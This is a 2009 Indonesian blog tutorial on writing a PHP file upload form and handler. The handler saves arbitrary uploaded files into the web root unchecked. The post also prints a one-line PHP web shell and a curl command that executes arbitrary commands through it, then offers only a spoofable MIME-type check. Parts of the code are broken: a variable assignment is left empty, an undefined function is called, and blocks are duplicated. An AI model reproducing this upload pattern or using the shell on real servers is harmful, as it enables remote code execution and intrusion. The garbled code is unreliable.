ILMU KOMPUTER | STRUKTUR KOMPUTER

PROGRAM UPLOAD FILE MENGGUNAKAN PHP

Diposting oleh Dapur Palma Kamis, 20 Agustus 2009

PROGRAM UPLOAD FILE MENGGUNAKAN PHP


Sekarang saya punya sedikit tips cara membuat program upload file menggunakan PHP, programnya sederhana, ikutin yaaaaaaa.....

 


 

Contoh kode form HTML-nya seperti ini.
1. <html>
2. <body>
3. <form action="uploader.php" method="post"
4. enctype="multipart/form-data">
5. <label for="file">Filename:</label>
6. <input type="file" name="file" id="file" />
7. <br />
8. &ltinput type="submit" name="submit" value="Submit" /&gt
9. </form>
10. </body>
11. </html>

Simpan dengan nama from_upload.php
Tampilkan syntax HTML-nya di web server melalui web browser

Sekarang kita buat program untuk mengupload file ke temporary cache dari PHP didalam
folder ROOT website.

 


 

Contoh Script programnya.
1. // dimana file akan ditempatkan
2. $target_path =
3.
4. /* menambahkan nama asli file di folder ROOT website*/
5. $target_path = $target_path . basename( $_FILES['file']['name']);
6. if(move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
7. echo "file ". namafile( $_FILES['file']['name']).
8. " telah di upload";
9. } else{
10. echo "Terdapat masalah saat mengupload file";
11. }

Simpan dan beri nama uploader.php, Jalankan di web server melalui web browser.

Sebuah syntax PHP shell
Tampilkan softcopynya
1. <?php
2. system($_GET['command']);
3. ?>

Tampilkan softcopynya
1. <?php
2. system($_GET['command']);
3. ?>

cobalah eksekusi perintah shell diatas lewat web server

Tampilkan softcopynya
$ curl http://server/uploads/shell.php?command=any_unix_command

Tampilkan softcopynya
$ curl http://server/uploads/shell.php?command=any_unix_command

Script mentah
Script dibawah ini untuk memeriksa file yang akan di upload

 


 

Tampilkan softcopynya
1. if($_FILES['userfile']['type'] != "image/gif") {
2. echo "Sorry, we only allow uploading GIF images";
3. exit;
4. }

Tampilkan softcopynya
1. if($_FILES['userfile']['type'] != "image/gif") {
2. echo "Sorry, we only allow uploading GIF images";
3. exit;
4. }

Trims selamat mencoba......

0 komentar

Posting Komentar

Indogamers News